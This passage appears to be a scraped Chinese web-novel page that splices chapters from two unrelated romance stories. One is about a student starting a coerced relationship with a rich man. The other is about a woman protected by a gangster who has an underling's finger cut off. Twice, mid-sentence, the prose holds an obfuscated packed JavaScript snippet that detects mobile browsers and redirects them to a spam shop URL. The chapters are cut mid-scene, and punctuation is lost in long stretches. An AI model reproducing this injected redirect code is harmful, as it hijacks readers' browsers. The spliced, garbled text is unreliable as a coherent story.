陈静安握着手机的掌心发汗,她像是不会拼音,每一个字都拼的艰难,几个字,花费十多分钟——好,我答应你。 最后点击发送,一串已经烂熟于心的没有备注的号码。 几分钟后。 对方回消息:【好,周末接你。】 陈静安忽然卸力,是犯人,得到最终的判决,除了接受事实,什么也做不了。 — 等待的时间里,陈静安没有半点已经成为沈烈女友的真实感,两个人除了上次的短信,中间并无联系,她知道沈烈忙,甚至有些庆幸,如果以后只是周末联系,日子好像并没那么难熬。 然后周末如期而至,她走进自己的刑场。 沈烈在车内,应该从公司出来,依旧是正装,只是袖口的位置,是那枚袖扣,这熟悉感,让她多一分心安。 他将手中的放置一侧,笑容算得上温润斯文:“喜欢吃什么?” 陈静安上车,说什么都可以,她不挑食。 沈烈便说了餐厅名,淮扬菜,是她家乡菜系:“或许不够地道,但我没办法评判,还需要你尝过后评价。” 陈静安说好,片刻,又问出这几天的一直想问,却没来记得问的问题——“什么时候结束?” 这种不正常的关系,总不会一直持续下去。 多久,她需要一个确切的时间。 沈烈不意外她问出这种问题,反倒支着下颚,似乎在认真思考:“或许很快,或许很久,无论是哪一种,我好像都无法给出具体时间。” “我希望您能给一个具体时间。” “陈小姐想什么时候结束?”沈烈反问。 陈静安审视着他的神情,想要知道他到底是出于什么居心才会问出这种问题,但他神色平常,什么也看不出来,她也不回答,接着问:“我说的能算数吗?” “不能。”沈烈这次回答的很快。 陈静安气笑了。 “但仍能做些参考。” 是了,从开始就不由她决定,什么时候结束又怎么会呢。想通这一点,倒不怎么生气。她抿着唇不说话,等待他回答。 等到车已经彻底开出大学城,再也不用开开停停,开始畅通无阻行驶时,沈烈才缓缓开口说:“等我什么时候腻,什么时候就结束。” 什么时候腻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9295797|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 陈静安想追问,又觉得这问题更傻气,谁能知道呢?她点头说好,虽然没有确定的时间,但到底有一个希望。 恋爱本来就难以保鲜,像沈烈这样的人,不再有追逐游戏的乐趣,只怕会腻得更快,而她自认性格乏味无趣,大概只会加速这个过程。 她本以为一路车程会安静无话,然后到餐厅,吃完饭再回学校,仿佛做任务打卡,沈烈却问她恋爱应该怎么谈。 “什么?”陈静安以为自己听错。 沈烈神情并无半点不自然,他重复:“谈恋爱应该做些什么?” 自然的好像是之前询问她的口味,爱吃什么,又有什么忌口。 看出陈静安的想法,沈烈说这是第一次,她本能不相信,怎么可能呢?生来就含着金汤匙少爷公子哥,怎么会恋爱次数为零呢。但沈烈不屑于说谎,在这件事上,同样没理由。 陈静安皱眉,心情复杂。 沈烈问:“我看起来应该谈过很多次?” 陈静安没回答,算是一种默认。 “你是第一个。” 沈烈笑笑,“我虽然是初学,但头脑应当不差,只要老师肯教,我想应该不难学。” 老师指她?可这种事,怎么教?陈静安出神时,垂着的手忽然被握住,温凉的触感让她在意时间反应过来,车内的空间并不富裕,副驾驶的中间有放置水杯的障碍物,但现在上面并无东西,沈烈握着她的手,放上台面。 他骨骼粗壮分明,手指修长而骨节分明,手背上隐约能看见藏于冷白皮肤下的血管,脉络清晰分明,跟他相比,陈静安的手要小一些,尽管手指纤细,握紧后也能完整被包裹住。 沈烈游刃有余地握住她的手,问:“牵手是恋爱的第一步吗?” 陈静安手臂僵硬,迟疑片刻说是。 “应该放松一些。”沈烈的手指已经按压上她小臂,顺着肌肉纹理,如今已经进入初夏,她穿着简单T恤,手臂上没有衣料,她能清晰感觉到他指腹的温度,一寸一寸按压,她仿佛被扼住咽喉呼吸停滞,不仅没放松,反而让她更紧张。 沈烈感受到,有些愉悦地笑:“大概不是位好老师。” 甚至比他这位学生还要笨拙。 他知道是因为怕,倒也不在意,一直到餐厅都握着她的手,她手心里濡湿,下车前被他拿纸擦拭掉,后知后觉问这算不算一种脱敏治疗? 陈静安要反应许久,听出他有自嘲的意味,才明白这大概是独属他的地狱级冷笑话。 一顿饭吃得食不知味,沈烈问是否合她胃口,她只能胡乱应答。 沈烈今晚胃口倒不错,几道菜都尝过几筷子,然后兴致浓厚地握着筷子给她剔起鱼刺,筷子没入鱼肉,有些倾斜的弧度,然后划过到鱼尾……他做的细致,在细软的鱼刺也被他挑出来,盘子里,剩下一幅完整的鱼骨架。 在吃上有这样的耐心,大概也只有他了。 吃过饭,沈烈没有送陈静安回学校,今晚的约会才像是刚开始,最后车停的地方她来过,是秦宜年带着她来见朋友的会所。 大概是这里的记忆都算不上好,陈静安本能的有些排斥。 下车后,沈烈握住她的手,掌心厚实宽大,将她的手完全握住。 不同于在车里。 是第一次在室外,在光下,堂而皇之。 “这次带你玩点有意思。”沈烈牵着她进去,又是上次熟悉的众星捧月式待遇,他看出陈静安的不习惯,挥手让人去忙,只留下经理一人服务。 一直到大厅,陈静安看到熟悉身影僵在原地,是秦宜年,捏着根烟在抽,身边还有位品味不俗的女人,女人搭着他的肩,与其他人谈笑风生。 秦宜年看见她,看见她跟沈烈交握的手,表情凝固在脸上。 陈静安本能去看沈烈,想要从他脸上读出点什么,他所说的“玩点有意思的”是指秦宜年吗? 沈烈偏头看她,扯唇淡笑,眼睑阴翳也越重,他略俯身,像是在耳边亲昵说着情话:“我上次说力道轻了,是实话,这次,想不想重一点?” 上次在医院里。 他曾点评,她打秦宜年那巴掌轻了。 第 15 章 “有没有男朋友?... 周清南的话只短短几字,声量也并不高,却无比清晰地传进了所有人耳朵。 程菲惊讶之余,更多的则是感到窘迫,双颊的温度也随之开始飙升——她智商还算够用,当如知道这位大佬说的话明里暗里都是在保护自己。 但是,听听他的措辞,什么又软又媚三遍都不够……是不是也太狂放了点? 程菲心里惴惴不安地琢磨着,知道这场合大佬云集没自己说话的份儿,只能眼观鼻鼻观心,安静如鸡。 其余人在听完周清南的话后,也是你瞧瞧我,我瞧瞧你,满脸的诧异。 只是二者虽同样震惊,震惊的原因却截然不同。程菲是震惊周清南又一次在众目睽睽之下保护了她,其余人则是震惊,周清南竟为了一个女人公然忤逆梅老。 众所周知,多年来周清南一直稳坐梅氏集团的二把交椅,地位仅次于梅凤年这个教父。据说,这人十七岁就出来混,最初是帮梅凤年的结拜兄弟樊正天做事,后来樊正天在一次扫黑行动中被条子杀了,梅老看重周清南一身本领,便收留了当时犹如丧家之犬一般的周清南,将他收为己用。 而周清南也没让梅凤年失望。一路帮梅氏过关斩将,一步一步走到今天。 道上的人都说,梅凤年对周清南的重视程度甚至超过了自家的三个儿子。 同样的,梅凤年看重周清南,周清南也一直对这位对自己有救命之恩知遇之恩的教父尊敬有加,虽说没有言听计从那么夸张,但这种直接抢人的情况,过去从未有过。 一时间,整个豪华包间里的众人心思各异,有单纯诧异的,有吓出一身冷汗的,有等着看好戏的。 与周围众人的反应形成对比,周清南却从始至终都很冷静。 他就那样抱着怀里的女孩儿站在原地,一句话没说。安静地与梅凤年对峙,目光沉冷,寸步不让。 梅凤年意态闲闲站在麻将桌旁,唇畔衔根烟,香烟燃烧升起的白雾呛口又熏眼,使得他轻微眯了眯眼睛。目光阴沉沉的,像两口黑暗的深渊,诡谲莫测。 死一般的寂静在空气里蔓延。 不知过了多久,一阵沙哑低沉的笑声却蓦然响起,击碎满池死寂。 梅凤年吐出一口白雾,两根修长的指夹着烟拿开了点儿,突兀 笑起来。 他的笑声起初很轻像是忍了半天终于忍不住闷声破出口的低笑到后面那声音便越来越大越来越夸张直至尾音发颤喉咙打紧像是下一秒就会笑到背过气去。 不合时宜的狂笑像刚看过一场极其滑稽的喜剧表演回荡在这片灰黑色的空间里着实癫狂诡异至极。 程菲本就惴惴不安心里像十五个吊桶打水似的双手像抓住唯一的救命稻草般死攥住周清南胸前的衬衫指尖都在止不住打颤。 被那笑声惊到她纤细的身体不受控制突地抖了抖下意识就往周清南怀里躲是寻求庇护的姿态。 程菲从踏进这个包间到现在总共就几分钟时间并不知道这个中年男人具体是什么身份但光看对方那身强悍操控全局的气场那副虽已稍显苍老、却仍旧英俊夺目面容便可猜测这绝不是一个平凡角色。 如果说周清南的凌厉冷戾是让人不由自主地心生畏惧不敢造次那么这个中年人给外界的感受便是真正的地狱阴冷压抑死气弥漫。 所以她这会儿是真的慌非常慌超乎寻常的慌。 慌到甚至已经忘了自己实在周清南怀里整个人几乎是缩在了男人的臂弯之间脑袋深深埋进他胸口。 这边。 察觉到怀里姑娘一系列脆弱的微动作周清南薄唇紧紧抿成一条线双臂无意识便收拢将她抱得更紧。 面对梅凤年突如其来的大笑周清南却连眼皮都没抬一下依然神色凉薄地直视着对方。 过了大约十来秒梅凤年终于笑够。 他用夹烟的手蹭了蹭眼角笑出来的泪花提步走到了周清南跟前眼睛瞪大一分说道:“不是吧南哥这么紧张。你该不会以为我要跟你抢马子吧?” 周清南没有说话。 “拜托 说着梅凤年又被烟呛得咳嗽了几声。抬抬下巴再开口时说话对象就变成了周清南怀里的年轻姑娘。 “来你自己跟南哥说能不能接受一个比你爸 还老的男人?”梅凤年问。 程菲紧张得胃直抽抽都快吐了,当然没勇气抬头和这位中年地狱哥对视。她僵滞半秒,最后用力摇了摇头。 心想你们一个大BOSS一个老BOSS聊就聊,请当我不存在,莫cue谢谢。 “这不就对咯。”梅凤年笑,随手在周清南的肩膀上轻拍两下,眼睛看着他,又说,“傻小子,我一直把你当亲儿子,你老婆顶我半个儿媳,你儿子顶我半个孙子,我这个老头子想把她们接到身边亲自保护,享享天伦之乐也是人之常情。你千万别误会我。” 梅凤年话音落地,周清南这才细微勾了勾嘴角,淡声道:“梅老真是爱开玩笑,我有今天全仰仗您,您待我恩重如山情同父子,我怎么会误会,又怎么敢误会。” 听完周清南的话,梅凤年盯着他,若有所思地吸了一口烟,接着便又没事儿人似的笑起来,说:“没误会就好。” 梅凤年说完,视线不动声色在周清南和程菲身上流转一圈,又无所谓地摆摆手,接着道,“行吧。既然你不需要我帮忙,那我这糟老头就不自作多情了。省得讨人嫌。” 博弈结束,胜负已分。 “……”直到此刻,程菲紧绷着的神经才骤然一松。闭上眼,沉沉地吐出一口气来,知道自己暂时应该是没什么危险了。 刚才情况危急还没注意到,这会儿她才有点儿迟钝地反应过来,自己原来一直蜷缩在某位周姓大佬的怀里。 指尖下隔着一层轻薄布料,她甚至可以隐隐可以摸出男人胸肌起伏紧硕的轮廓…… 心口莫名一颤。一丝艳丽的红霞也随之蔓延上耳朵根。 程菲更窘了,干咳一声。捉住周青南衬衣的十指瞬间松开,准备脱离他的怀抱。 然而手掌刚抵住他胸膛,还没来得及施加推力,却忽然感觉到放在自己腰上的手臂下了劲儿,竟一瞬收紧。 程菲:“……” 程菲愣住,猛一下抬起脑袋,往上看,黑白分明的眼中写满疑惑——什么鬼!危机解除,戏也演完了,这位大佬还搂着她不放是又要唱哪出! 头顶上方,周清南面无表情垂着眸,看着怀里的姑娘,浅色的瞳在这张漂亮却憔悴的脸蛋上仔细审度,不知在想什么。 程菲很茫然, 仰着脖子硬着头皮和他对视须臾眨了眨眼睛。 就在她嘴唇蠕动几下准备问他到底在看什么时男人却忽然抬起了右手。 修长的指尖沾染着这离奇浓夜的一楼凉寒轻轻触上了她的嘴角。 那片皮肤应该是有点肿因为他指尖刚碰上来程菲便感觉到了一阵火辣辣的刺痛。 完全是身体本能她轻皱眉头低呼一声瑟缩着躲了一下。 周清南的手在下一秒垂了下去面色在眨眼间沉冷如冰。 他不再看程菲只是撩起眼皮漫不经心地环视全场眼神犹如夹了冷箭淬过冰狠戾入骨。 “说吧。”周清南开口。语气竟然很随意听着格外平和“刚才是谁去请的你们大嫂?” 此言一出偌大的豪包内再次死静。 之前那个秃脑瓢纹了青蟒刺青的光头男闻声心里不禁打起鼓来。他眼珠转了转往麻将桌的方向瞟去一眼。 梅凤年此时已重新落定回主位。一根烟抽完他也不想再点下一根二郎腿一翘随手端起旁边的枸杞茶便品起来颇为悠哉惬意。 见青蟒光头用眼神请示自己梅凤年抿了一口茶一记眼色递回去 “……” 青蟒光头见状只好皱了下眉磨磨蹭蹭的往前站出一步挠挠头清清嗓子说:“周先生是我。” 周清南侧目看过去。 片刻他还住程菲细腰的双手松开踏着步子不紧不慢地走向青蟒于他身前站定淡淡地说:“你去哪儿请的你嫂子?” 青蟒是刚进来的新人有身手也有胆识颇得梅凤年赏识。到底是年轻自有一身心比天高的傲劲虽然听过周清南的许多传言知道是个厉害人物但是当着那么多兄弟的面青蟒不想露怯。 青蟒眼底深处有恐惧表面上却还是故作平静直视着周清南回答:“在嫂子公司楼下。” 周清南又问:“你见到她的时候她脸就已经这样了?” 青蟒回答:“不是。” 得到这个答案周清南竟忽然一弯唇心平气和地笑了:“那劳烦解释一下她脸上的伤是怎么来的。” 青蟒心里有些发怵 头别过去静默两秒又答:“我让嫂子跟我走她把我当坏人说什么都不肯我们就在车上起了点儿争执。” “所以。”周济清南稍稍一顿眉微抬轻声“你对她动手了?” 青蟒暗自咬了咬牙没吭声。 他觉得自己也真够倒霉的。 今天晚上梅老丢了张照片给了个地址就让他来绑人根本没说清楚要绑的人是谁。加上这女的看起来细胳膊细腿细皮嫩肉结果带劲儿得很反抗时俨然一副要搏命的架势还在他胳膊上挠出了好几道血印子。 一个职业杀手在一个小娘们身上吃了鳖谁想得过?青蟒恼羞成怒这才扬手打了程菲几下。 此时此刻青蟒只恨天下没有后悔药卖—— 操。如果早知道周清南这么在意这个妞他就提前备迷药省多少事儿! 青蟒这会儿真是悔得肠子都青了。 几步远外。 程菲正缩在角落极力降低自己的存在感小心翼翼又津津有味地看□□片的live纯享版突地眼前竟忽然闯入一只手。 宽大修长骨节分明提溜着一个已经喝空了的洋酒瓶。 程菲狐疑惊疑不定地抬起头来。 她:? “去有怨报怨有仇报仇。”周清南冷峻的脸上表情淡漠对她说“让人欺负了不知道还手丢我的人。” 程菲:……??? 不是吧哥这么看得起我? * 周清南微垂着眼皮神色凉凉说话的语气也漠然自若甚至连给程菲递洋酒瓶的动作都很随意仿佛他的要求并不是要她给人爆头只是让她去问问对方这酒买成多少钱一样简单。 太自然了。 自然得程菲嘴角都快抽搐了。 那一刻她怔怔盯着那个洋酒瓶发了下呆脑子里忽然就冒出一个念头:他们这种人 谁能想到锦绣繁华的滨港市暗地里会有这样恐怖荒诞的另一面…… 就在程菲愣怔出神的当口对面的青蟒却抬手撸撸盘着狰狞蟒尾的秃脑门儿眉心蹙起明显对周清南刚才的处置方法极其不满。 今天他行事冲动也没做功课,动了真嫂子,挨打受罚他没话说,认也就认了。可要个娘们儿来动手是什么意思?这不明摆着要他在一帮兄弟跟前颜面扫地? 没等程菲回话,青蟒已先一步有动作。 此时的青蟒已没了先前那副嘴硬脖子硬的镇定劲儿。他眼神盯着周清南,终于嘴角一咧,挤出一个带有几分试探又带有几分恭敬讨好的笑,道:“南哥,说到底只是一场误会,大家都是自己人,你不会真要嫂子动手揍我吧?嫂子这么漂亮一小姑娘,您也舍不得让她手上沾血不是。 说到这里,青蟒稍微停顿了下,步子往前一迈朝周清南走近半步,视线若有似无扫了某个方向一眼,压低声,“再说了。南哥,我都是按照梅老的意思做事,你让嫂子对我动手,不也是驳梅老面子么。 青蟒虽是新人,但能在这么短的时间里从尸山血海里爬上来,得梅凤年重用,自然不会是只有一副好身手那么简单。 青蟒自认自己有头脑也有手段,这番话说得也讲究技巧,先礼后兵,到最后一步才搬出梅老名头。 他就不信,这周清南真有那么横,敢当着梅老的面让一个小娘们儿放他血。 然而,事情的走向并不如青蟒希冀。 他本以为,听完自己的话,周清南再怎么样会有点儿忌惮。谁知,对方闻声却只是静默半秒,而后竟嗤的轻笑出声,笑声轻蔑又恣意,无法无天。 青蟒面露不解。 周清南嘴角挑着一抹玩味又阴狠的弧,似笑非笑地看青蟒,眼神冰冷。好片刻,他才终于开口,淡声说:“有没有听过一句话,人贵有自知之明。 青蟒一时没回过神,愣住。 周清南盯着他,冷冷吐出后半句:“如果不是看梅老的面子,你哪来的资格跟老子讲话? 青蟒:“…… 青蟒脸上的神色骤然惊变,眯起眼,咬紧牙关,一双拳头在身侧捏得嘎吱响,敢怒不敢言——凭他的火爆脾气,换成平时早就掀桌子撕破脸,现在低三下四说好话,还要被羞辱,这他妈简直不是人干的活! 青蟒恼火得不行,和周清南僵峙一秒,终究还是被对方的眼神和气场压制,不敢造次,于是只能调转视线看向背后的梅凤年,眼神里带着求助意味。 梅凤年抽着烟坐在麻将桌的庄位,端起桌上的枸杞茶抿一口。茶已半凉,枸杞放多了,入口甜得发腻。 梅凤年嫌弃地一口吐出来,茶杯顺手丢给旁边的助理,一时间,茶水枸杞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415782|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混着泡烂的金菊花统统洒在对方昂贵精细的黑西服上。 一身行头报废,年轻精英脸上却连一丁点埋怨表情都没有,手忙脚乱把杯子接稳。 “早就跟你说过,做事多用脑子,多思考,总是不听。梅凤年瞅着身旁助理的狼狈样,又有点儿于心不忍,随手扯了张纸巾递过去,边指挥着小助理擦身上的茶渍,边慢悠悠地说,“看,现在脏水贱一身,擦又擦不干净洗又洗不掉,有什么办法?还不是只能自己认栽。 话音落地,屋子里悄然一静。 青蟒眉心拧着一个结,还有点没反应过来。 周清南还是副冷淡脸色,侧目看了眼身旁站着的年轻姑娘,掂了掂手里的空洋酒瓶,说:“最后给你个机会,要不要自己报仇? “……程菲身子微僵,悄悄瞥了眼那个洋酒瓶,又瞥了眼光头哥那副凶神恶煞的凶狠面相,脑袋摇得像拨浪鼓。 没说一句话,但全身上下每个毛孔都写着:谢谢,婉拒了。 本来得罪周清南一个,她就已经每天提心吊胆如履薄冰,这要是再多一个青蟒纹身光头哥,她的安稳小日子还过不过了? 好在这位大佬的态度也不算强硬,见她摇头不允,他也没有硬把洋酒瓶子往她手上塞再抡着她的爪子去大开杀戒的意思。 周清南只是随手把洋酒瓶子往边儿上一丢,扔进了垃圾桶。 这时,可怜兮兮的助理勉强把身上的脏污擦掉大半,梅凤年的视线也终于从他身上移开,看向了屋内的对峙双方。 梅凤年懒散调整坐姿,点烟灰,灰蓝色的雾缭绕在他死气沉沉又威严强大的躯体周围。 须臾,他闭眼,用夹烟的手捏了下眉心,似乎在认真思考什么。接着又掀起眼皮,朝身旁的精英助理递去一个眼色。 助理会意,脸上没有任何表情,将公文包里随身携带的一件东西取出,随手丢给青蟒。 青蟒扬手接过,摊开手掌定睛一看,是一把全钢制折叠刀,短小精悍,刀刃锋利无比,泛着森森的白光。 青蟒眼 底迸射出惊疑之色,猛然抬头看向梅凤年。 梅凤年目光已经望向周清南,淡声,一副商量的和蔼语气:“阿南,今晚一场误会,是我好心办坏事,误伤了你家妹妹仔是个意外。这样,我让青蟒给你马子道个歉,真心认错。” 说着,梅凤年便扫了青蟒一眼,眸光阴沉沉的。 青蟒无语。他既不敢惹周清南也不敢违逆梅老,只能硬着头皮把脑袋埋下去,走到程菲跟前,说:“嫂子,对不住,是我不好,我错了。请您大人不记小人过,原谅我一回。” 说完,青蟒又从裤兜里把抢来的手机还回去,物归原主。 程菲接过手机,咬了咬唇瓣,不知怎么回应,只能悄悄看周清南脸色。 周清南神情冷漠,没吭声。 梅凤年也在端详周清南面色,知道他对口头的道歉不满意,静默半秒,又说:“青蟒。” 青蟒低眸,毕恭毕敬:“梅老。” 梅凤年:“留根手指。” 青蟒:“……” 梅凤年看着他,目光里是不容悖逆的命令,“就当是给你嫂子的赔罪礼。” 青蟒暗自咬紧了牙关。 这边,程菲站在周清南身旁,听完中年男人和光头哥的最后两句对白,她狐疑地眨了眨眼睛,都还没听懂那句“留根手指”具体是什么意思,眼前便忽然罩上一片黑影。 与此同时,一股极淡的烟草味钻进她鼻息,夹杂着丝丝类似白桃味水果糖的清冽香气。 程菲呆住。足足半秒钟才反应过来,这是周清南手指的味道。 他长臂微抬,修长宽大的指掌与她浓密的睫只隔了虚虚半指距离,遮住了她的眼睛。 程菲眼睛眨了两下,感到狐疑,不知道他为什么要挡住她视线,下意识便伸手捉住了他修劲有力的手腕,试图把他的手拿开。 然而指尖刚碰到他的皮肤,耳畔便传来一个散漫嗓音,凉凉道:“看了当心做噩梦。” 话音刚落,没等程菲反应过来,空气里便响起道怪异声响,极细微,紧随而来的则是光头哥痛苦压抑的一记闷哼。 程菲整个人都是一僵,捏住男人手腕的纤白指尖很轻地抖了下,隐约已猜到什么。 恐惧如蛛网,由内而外渗透骨缝,使人不寒 而栗。 她轻轻咽了口唾沫,不敢再把周清南的手往下拉,指尖无意识收拢几分,将他的腕骨握得更紧。 不远处。 青蟒左手已血流如注。他脸色苍白,捂住不住淌血的伤处看着周清南,强忍剧痛,恭敬问:“南哥,您看这事儿能了了不?” “以后记住,做任何事之前多长个心眼儿,多考虑后果。”周清南一手护着怀里的姑娘,嘴角轻勾,眉眼间尽是散漫的凉薄与狠戾。说着,他稍稍一顿,视线往地上那摊暗红色一瞥,微蹙眉,“瞧,梅老难得来一次滨港,见血光多不好。” 青蟒痛得脸皮都快抽筋,只能点头:“南哥教训的是,我一定记住。” “行了,从今以后,你们两兄弟之间的这场恩怨就一笔勾销。” 这时,梅凤年见事情解决得差不多,凉悠悠地笑起来,又说:“阿南,一看你就没做功课,孕妇要作息规律早睡早起。送你的妞回家吧,别忘了按时带人家产检。” “谢谢梅老关心。”周清南朝梅凤年微垂头,神色间不失恭谨,“我先送她回去。” “去吧。”梅凤年摆手。 周清南的手便落下来,自然而然往程菲纤细的腰肢上一环,揽住她,转身离去。 经过青蟒时,他步子都未停一下,也不看对方,只是轻描淡写地撂下一句话:“手指捡起来,缝一缝还能用。” 青蟒额头冷汗涔涔,后槽牙都快咬碎,闭上眼深吸一口气吐出来,更用力地捂紧伤处。 包间大门开启又关上,一高一矮两道身影相携离去,从众人视野中消失。 这时,西装革履的精英助理已经重新换好一杯热腾腾的养生茶,送到了梅凤年面前。 梅凤年端起茶杯,低眸轻轻吹了一口气,把浮在水面上的菊花和枸杞吹开。 助理站旁边,沉吟片刻,试探道:“梅总,要不要找人盯着那个女孩子?” “你这不是问废话吗。”梅凤年咳嗽两声,道,“我这么大个人物,说出去的话泼出去的水,要算数的。说要保护人家母子,就要好好保护。” 助理点头:“好的,我明白了。” 这时,青蟒实在气不过,动了动唇还想说什么,却被梅凤年眼也不抬地打断。 “你就 第 16 章 扒个精光。 程菲被这突如其来的问句弄得一怔,眸光闪烁了瞬,双颊更热,嗫嚅着反问他:“你问这个做什么?” 周清南:“随口问问。” “那你这随口一问还挺莫名其妙的。”程菲忍不住小声吐槽,嘀咕道,“不知道的还以为你对我有什么想法。” 她这句话音量压得低低的,口齿不清,听起来有种有点做贼心虚,又有点小自恋的喜感。周清南闻言,觉得这小姑娘挺好笑,抽着烟轻嗤一声,继而用修长的食指轻掸烟灰,瞧着她,又道:“那你要不要随口回答我?” 原本毫不熟悉的一对陌生人,因为各种狗血意外产生交集,夜深时分坐在一辆车上聊男女朋友,这情景实在是古怪又离谱。 老实说,程菲觉得这位大佬有点冒昧——我跟你很熟吗,我为什么要回答你这种涉及隐私的问题? 正在心里小声蛐蛐着,突地眼帘一低,又瞟见自己手里拿着的两支药膏。 程菲神色微僵,囧。 ……算了。 毕竟他是她的救命恩人,几次三番伸出援手拯救她于水火,完了还又给她买药、又请她吃鸡肉串。恩重如山,满足一下他的好奇心就当报答吧。 程菲琢磨着,一张白皙的脸蛋红扑扑,心跳也莫名有些急促,两只手掩饰紧张般玩着手里的药膏包装盒。 半秒后,她低垂着脑袋摇摇头,回答他:“没有。” 对于程菲给出的答案,周清南指间夹烟,轻轻挑了下眉,表情看不出是出乎意料还是意料之中。 他仍只直勾勾盯着她看,静默须臾才又出声,语气散漫:“看你之前在相亲。一个没成?” 这话听着怪怪的,但又说不上来具体是哪里奇怪。 程菲微蹙眉,思考两秒后反应过来什么,黑线脸,侧目看他。 周清南夹烟的手很随意地支在车窗外,头枕椅背,如画的眉眼间神色玩味,整个人看起来恣意又懒漫,像只大冬天里晒太阳的狮子。 这人的眼睛有魔力。当他注视你,你就像被一张有透视效果的巨网困缚,挣不开逃不掉,所有表象皮肉全被扒得一干二净,所有心思,掩藏再深,都只有被翻出来赤裸裸赏玩的份儿。 程菲害怕周清南,被他看得浑身不自在,想反驳又不敢明 着说出口只能在心里无能小怒:这位大佬麻烦您注意一下自己的措辞什么叫一个没成?说得跟我每天都在相亲每天都在失败一样。 一旁周清南盯着她被她这副敢怒不敢言的可爱微表情给逗笑嘴角勾了勾懒洋洋道:“我有哪里说得不对你可以指正。” 程菲闻言安静几秒然后才闷声闷气地说:“这段时间我只在锦泰饭店参加过一次相亲饭局。” 说到这里她稍稍停顿了下又看他一眼神情严肃几分:“并不是周先生以为的那样。” 周清南扬眉:“哪样?” 程菲:“你以为我经常相亲还总是找不到对象。” 周清南:“我没这么以为。” 程菲没搭腔看他的眼神里却写着四个明晃晃的大字:没有才怪了! 周清南脸色平静直视着她不知是不是夜色太深的缘故那双眼眸中的情绪竟也显得复杂莫名。 过了会儿他冷不丁又道:“程小姐人长得漂亮个性活泼工作也好找男朋友对你来说不是什么困难的事。” 男人说这番话的语气懒散自若没有任何恭维的成分再自然不过。 程菲听后却诧异地眨了眨眼整个人都是一愣。 她从小样貌出众学习成绩优异是标准的“别人家的孩子”街坊邻里远亲近戚个个都对她赞不绝口。 按理说 但怪异的是此时听见周清南用这样自然淡漠的口吻说出一句纯粹礼貌性的夸赞程菲心里却滋生出丝丝异样。 不是惊涛骇浪那样激烈只是像一颗石头掷入心湖漾开一圈又一圈涟漪。 夜色沉沉蔓延。 伸出窗外的烟自然燃烧升起的白烟像冷月吐出的息凉而薄。 关于“男女朋友”的话题实在是隐私又暧昧程菲不知道周清南为什么会打听她的私事也不想深究。看眼窗外天色浓墨染成的天空连月光都吝啬挥洒已经太晚。 她意识到自己必须要回家了。 捏着袋子里的两支药膏程菲暗自做了个深呼吸接着便挤出个笑容朝周清南礼貌地提议:“周先生我家离这儿也不远了不然我 就在这里下车吧?” 周清南:“单独走夜路着了多少回道,还没学乖?” 程菲生生一卡,尬住。 转念想想,又觉得他说得确实在理。她上回下夜班,在新区荒地那边遇到几个混子流氓,今天打个网约车又遇上那个青蟒纹身光头哥……危险无处不在。 程菲僵坐在副驾驶室里,一时不知怎么回话。 一旁,周清南已经抽完烟,随手掐了烟头丢进车载烟灰缸,盖子一扣,重新发动引擎。 他两手搭在方向盘上,耷拉着眼皮脸色平淡,不说话也不开车,像在等待什么。 过了大约三秒钟,见身边的女孩子还没反应,他眉宇间流露出一丝隐隐的不悦,侧目看向她。 纤细灵动的一小只,乖乖坐在副驾驶席,低着脑袋皱着眉毛,一副天人交战纠结至极的神态,似乎非常犹豫到底要不要暴露自己的家庭住址。 修长的食指敲了两下方向盘。 片刻,周清南薄唇微启,忽然说:“我住尹华道468号,21层。” 听见这话,程菲懵懵地抬起脑袋,看向周清南,表情很茫然。 兄弟谁问你住哪儿了。 周清南浅色的眼瞳笔直地看她,说:“现在你知道我的地址,随时可以去警局报警抓我。”说到这里,他略微顿了下,似乎想到什么,又很随意地补充,“另外,如果有需要,我也可以给你一份我的身份证号码。” 程菲:“……”大可不必。 她被呛了下,说:“你又没做什么伤害我的事,我去报警抓你,不是恩将仇报吗。” “你担心我知道了你家的住址,会对你和你家人不利,不就已经认定我会做出伤害你的事。”周清南轻嗤了句,“先下手为强把我抓起来,不是一劳永逸?” “……”这阴阳怪气怼人的功夫,一看就是老阴阳师了。失敬失敬。 程菲被噎得一时无言,沉默过后,又有点小小的惭愧,暗道——或许真的是自己以小人之心度君子,他没准儿也没她想象的那么坏呢? 沉吟须臾,程菲深吸一口气吐出来,终于闭上眼下定决心,报上了她家的详细地址。 周清南听完没什么反应,踩下油门,黑色越野驶上大路。 一路飞驰, 车厢内半晌死寂没有人说话。 周清南安静开着车。 程菲有点儿犯困窝在座椅上调整了一下坐姿习惯性拿出手机点亮屏幕刷微博。 主页推送的正好是一组萌娃表情包 看见这组可爱的萌娃表情包程菲忍俊不禁。正满脸姨母笑地保存至相册忽然又想起什么神色微变唰一下转过头去。 “周先生。”程菲脱口而出“你这么晚还在外面你女儿呢?” 听见“女儿”这个词周清南眉心微拧一时半会儿还有点儿没反应过来。 静默半秒后回神顿悟这姑娘口中的“他女儿”就是周小蝶。 “在家。”周清南没什么语气地回答。 “你女儿还那么小你居然放心让她一个人在家里待着?”程菲皱起眉难以苟同他的做法“也太危险了。小朋友什么都不懂万一摔倒或者不小心开了火源电源后果不堪设想。” 周清南听程菲念叨着片刻转眸淡淡地看她一眼“你很喜欢小孩子?” “喜欢呀。小朋友都肉呼呼的多可爱。” 